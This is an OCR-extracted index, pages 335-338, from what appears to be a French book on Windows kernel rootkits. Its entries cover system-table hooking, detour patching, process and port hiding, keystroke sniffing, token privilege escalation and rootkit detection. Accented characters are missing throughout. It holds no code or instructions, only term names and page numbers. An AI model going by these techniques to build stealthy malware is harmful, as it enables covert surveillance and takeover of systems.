System) 28 NonPagedPool (zone
mmoire) 139
NOP (instruction) 128 Noyau
accs aux fichiers 35
anneau 0 64
communication avec le mode
utilisateur 45, 192 gestion
de la mmoire 35
des processus 34 hooks
98
injection de code via un
driver 38
listage des modules 312
manipulation directe des objets
185 mmoire 98
modifications sur disque 60
niveau ultime de scurit 35
planification des processus 76
principaux composants 34

NtDeviceloControlFile (fonction)
133 Ntdll.dll 94
NtLoadDriver (fonction) 309
NtOpenSection (fonction) 309
Ntoskml.exe 99
NtQueryDirectoryFile (fonction)
88
NtQuerySystemlnformation
(fonction) 104
NumberOfRaisedCPU (fonction)
206

O
OBJ_KERNEL_HANDLE 265
Objets du noyau
changements selon la version
du systme 187 gestionnaire
(d) 186 manipulation directe
185 membres 186
Observateur dvnements,
dissimulation de processus
224
ufs de Pques 19 Okena
StormWatch (outil) 28
OldlrpMjDeviceControl
(fonction) 118
OnCloseAdapterDone (fonction)
287 OnOpenAdapterDone
(fonction) 286
OnReadCompletion (fonction)
165
OnReceiveStub (fonction) 287,
292
OnSendDone (fonction) 302
OnSniffedPacket (fonction)
296
OnStubDispatch (fonction) 48
OnTransferDataDone (fonction)
293

OnUnload (fonction) 149


OpenProcess (fonction) 96
OpenProcessToken (fonction)
210

OSVERSIONINFO (structure)
188
OSVERSIONINFOEX
(structure) 188
OSVERSIONINFOEXW
(structure) 190
OSVERSIONINFOW
(structure) 190 OUT
(instruction) 66

P
Page Directory Voir Rpertoire
de pages mmoire Pages
mmoire
cavernes 151 contrles pour
laccs 68 pagination vers le
disque 70 rpertoires (de) 67,
71 entres (PDE) 73 multiples
75
Pagination mmoire 70 Paquets
dplacement 292 envoi avec
des sockets bruts 281
falsification de lorigine 281
interception avec des sockets
bruts 279 rebond 282
Paquets de requtes dE/S Voir
IRP
Pare-feu, contournement 29
Passerelle IP 301
PASSIVE_LEVEL (niveau
dIRQ) 162 Patching 19 chaud
92 de dtour 132

Index 335

correction des adresses de


substitution 139 modles de
saut 143 rappel des
instructions crases 137
recherche des octets de la
fonction 135 lors de
l'excution 131 types 150
PDE (Page Directory Entry) 73 PE
(Portable Excutable) (format de
fichier) 56, 124 PEB (Process
Environment Block) 319
Priphriques
association un driver 161 bus
(de) 236 cration 160
enregistrement 50 extension 161
sparation davec un driver 169
PFN (Page Frame Number) 73
PIC (Programmable Interrupt
Controller) 79, 246 PID (Process
IDentifier) 96,

197
Pile dun IRP 164 Pilotes Voir
Drivers Point dextrmit TDI
268 Pointeur
de pile, IRP 164 de fonctions
majeures 48 Portes
d'appels 78 dinterruptions 80
de droutements 81 de tches 81
drobes furtivit 13
inconvnients 257 utilit 12
Ports
du clavier 241

matriels 235 rseau,


dissimulation 114 Prambules de
fonctions 92 Prvention
dintrusion 27 Privilges de
processus ajout un jeton 213
DPL et CPL 68 identifiants
(LUID) 216 Process Explorer
(outil) 214 Processeurs
anneaux de contrle daccs 64
bus 236
IDT individuelle 108 mode
protg 79 multiples 79, 84
registres de contrle 82
temporisation 236 Processus
accs la mmoire 67 bloc
denvironnement (PEB) 319
cachs par des rootkits,
dtection 321
contexte actif 76 dissimulation
37, 104, 196 espace dadressage
individuel 75 et threads 76
gestion au niveau du noyau 34
identifiants
AUTH_ID 224
LUID 216 PID 96,
197 Idle 106
injection dune DLL 93 jeton
daccs 76 ajout de SID 220
augmentation des privilges 209
localisation 210
modification 210
structure 211

listage
avec Csrss.exe 323 des
DLL 318 liste chane 198
modification didentifiants 224
noms 199
pntration de lespace
dadressage 123 planification 76,
201 vj- tches 82
PsGetCurrentProcess (fonction)
111, 196 PsGetVersion (fonction)
190 PsLoadedModuleResource
(fonction) 205
PspActiveProcessMutex
(fonction) 205
PspExitProcess (fonction) 201
PsSetlmageLoadNotifyRou- tine
(fonction) 123 Puce contrleur
dE/S 236 PUSH (instruction)
134

R
RaiseCPUIrqlAndWait
(fonction) 207
Raw sockets Voir Sockets bruts
ReadFile (fonction) 48 Rebond
de paquets 282 recvfrom
(fonction) 279 Regedt32.exe 225
Registre de table de descripteurs
dinterruptions (IDTR) 78
Registre Windows Voir Cls de
registre
Registres de contrle 83
RegOpenKeyEx (fonction) 321
RegQueryValue (fonction) 191
RegQueryValueEx (fonction)
191, 321

336 Index

ReleaseExclusivity (fonction)
209
Rpertoire de pages mmoire
67,71
Requtes dE/S Voir IRP Rseau
contournement des systmes
de scurit 28 dissimulation
de communications dans
TCP/IP 258 de ports 114 des
oprations (de) 37 manipulation du
trafic 277 mode promiscuous 280
Restriction de porte 23 Root,
accs (de niveau) 14
RootkitDispatch (fonction) 193
RootkitRevealer (outil) 321
Rootkits 14
ce quils ne sont pas 21
combins des virus 23
communication entre les
modes utilisateur et noyau 45,
192 conception 36 de premire
gnration 18 de prochaine
gnration 31 dtection 308
dissimulation de code et de
donnes 14
emplois lgitimes 14, 17
enregistrement en tant que
drivers 59 et threads 77
fonctionnement 19 furtivit 15
historique 18
installation dans le microcode
31
intgrant des exploits 22
KLOG 159
lancement automatique au
dmarrage 37, 59

menu de commandes 16
mthodes de chargement 52
Migbot 133
structure de rpertoires 36 un
seul par systme 36 utilit 15 Voir
aussi Drivers vs virus 23 Routines
de dchargement 39, 43, 169,
291
de dispatching 178 de service
dinterruption (ISR) 79
de terminaison 117, 119, 165
RtlGetVersion (fonction) 190
Run (cl de registre) 59 RVA
(Relative Virtual Address) 124

Scancodes 156
conversion en codes de
touches 168
placement dans des IRP 162
Scanners de virus 29 SCM
(Service Control Manager)
54, 199
SDK (Software Development Kit)
216
SeAccessCheck (fonction) 133
Section critique 166 Scurit
anneaux de contrle daccs
64
au niveau du noyau 35
contournement des systmes (de)
27
jeton daccs dun processus
76
Segments
de code 78

de commutation de tches 82
Smaphore 163
SendKeyboardCommand
(fonction) 243 SendRaw
(fonction) 300 sendto (fonction)
281 SetLEDS (fonction) 244
SetPriv (fonction) 215
SetWindowsHookEx (fonction)
95 Shell distant 256 SID (Security
IDentifier) ajout un jeton de
processus 220
restreints 221
SID_AND_ATTRIBUTES
(structure) 220 SIDT
(instruction) 79, 109
Signatures
de rootkits 311 recherche
en mmoire 202 sur le
disque 30 SizeOfResource
(fonction) 57 Sniffeur de clavier
154, 246 SOCKJRAW
(constante) 278 sockaddr
(structure) 279 Socket (fonction)
278 Sockets bruts
envoi de paquets 281
interception de paquets 279 liaison
une interface 279 ouverture 278
SOURCES (fichier) 40 Soussystmes Windows 87 Spinlock
(verrou) 163, 301 Spywares 20
SSDT (System Service Dispatch
Table) Voir Tables systme
SSPT (System Service Paratneter
Table) Voir Tables systme

Index 337

STATUS BYTE (constante)


241
Stganographie 30, 259 STI
(instruction) 66 Structure de
contexte, TDI 268 Structure de
rpertoires dun rootkit 36
Structures du noyau Voir Objets
du noyau SwapContext
(fonction) 321 Synchronisation
au niveau matriel 236
problmes 84
SYSCALL_INDEX (macro)
103
SYSENTER (instruction) 82, 88,
100, 109, 112
SYSTEM_PROCESSES
(structure) 104
SYSTEM_THREADS
(structure) 104 Systmes
de dtection dintrusion (IDS)
27
de prvention dintrusion (IPS)
28
Systmes dexploitation 33
dtermination de la version
partir du Registre 190 depuis le
mode noyau 190 utilisateur
188
Systmes multiprocesseurs 84
SYSTEMSERVICE (macro)
103

T
TA_IP_ADDRESS (structure)
267
TA_TRANSPORT_ADDRESS
(structure) 266

Table dimportation (IAT) 88


dtection de hooks 317
hooking 90
Table de gestion des IRP dun
driver 113 Tables systme
accs en lecture seule 74 de
descripteurs dinterruptions (IDT)
67, 78 cration 79 entres 109
hooking 108, 144 placement en
lecture/cri- ture 74
systmes multiprocesseurs
84
de distribution des services
systme (SSDT) 67, 82
dsactivation de la protection
mmoire 101 dtection de hooks
314 hooking 99
placement en lecture/criture 74
de paramtres des services
systme (SSPT) 99 globale de
descripteurs (GDT) 67, 77
KeServiceDescriptorTable 99
KeServiceDescriptorTableShadow 100
locales de descripteurs (LDT)
67,77
rpertoire de pages mmoire
67,71 Tches
portes (de) 81
vs processus 82
Tampons
dIRP 117, 119 dbordement
18, 22, 26 TARGETLIBS
(variable) 41 TARGETNAME
(variable) 41 TARGETPATH
(variable) 41

TARGETTYPE (variable) 41
TCP/IP
dissimulation de
communications (dans) 258 au
moyen de NDIS 283 au moyen de
TDI 262 Tcpip.sys 114
TDI (Transport Data Interface)
association dun point
dextrmit une adresse
locale 271
attributs tendus (EA) 264
avantages et inconvnients 304
communication avec le driver
TDI via des IRP 271 connexion
un serveur distant 273
envoi de donnes un serveur
distant 275
objet adresse locale 265
point dextrmit 268
structure
dadresse 263
de contexte 268
TDI_ADDRESS_IP
(structure) 266
TDITRANSPORTADDRSS
(structure) 266
TDI_TRANSPORT_ADDRESS
_LENGTH (structure) 266
TDIObjectID (structure) 116
Temporisateurs
pour la modification des LED
du clavier 241 pour le traitement
des IRP 169
ThreadKeyLogger (fonction)
162
Threads
distants 96 et processus 76
TimerDPC (fonction) 241

338 Index

Traduction dadresses Voir


Mapping dadresses
Trampolines, fonctions 93
Traps Voir Droutements
Tripwire (outil) 19, 30 TSS
(Task Switch Segment) 82 Typage
fort 27

UNHOOK_SYSCALL (macro)
103 Unload (fonction) 169
User32.dll 94

Verrous spinlock 301

VirtualAllocEx (fonction) 97
Virus 23
Vulnrabilits logicielles
correction 24 dissimules
sous forme de bugs 20
exploitation 24

WaitForKeyboard (fonction)
242
WatchGuard ServerLock
(outil) 28
WDM (Windows Device
Manager) 201 Win32k.sys 100
WriteFile (fonction) 48

WriteProcessMemory (fonction)
97 WSAIoctl (fonction) 280
WSAStartup (fonction) 278

Z
Zero-day (exploit) 23
ZwCreateFile (fonction) 264,
268
ZwCreateKey (fonction) 310
ZwOpenKey (fonction) 310
ZwQuerySystemlnformation
(fonction) 104, 196, 312
ZwSetSystemlnformation
(fonction) 309
ZwSetValueKey (fonction) 310
ZwWriteFile (fonction) 169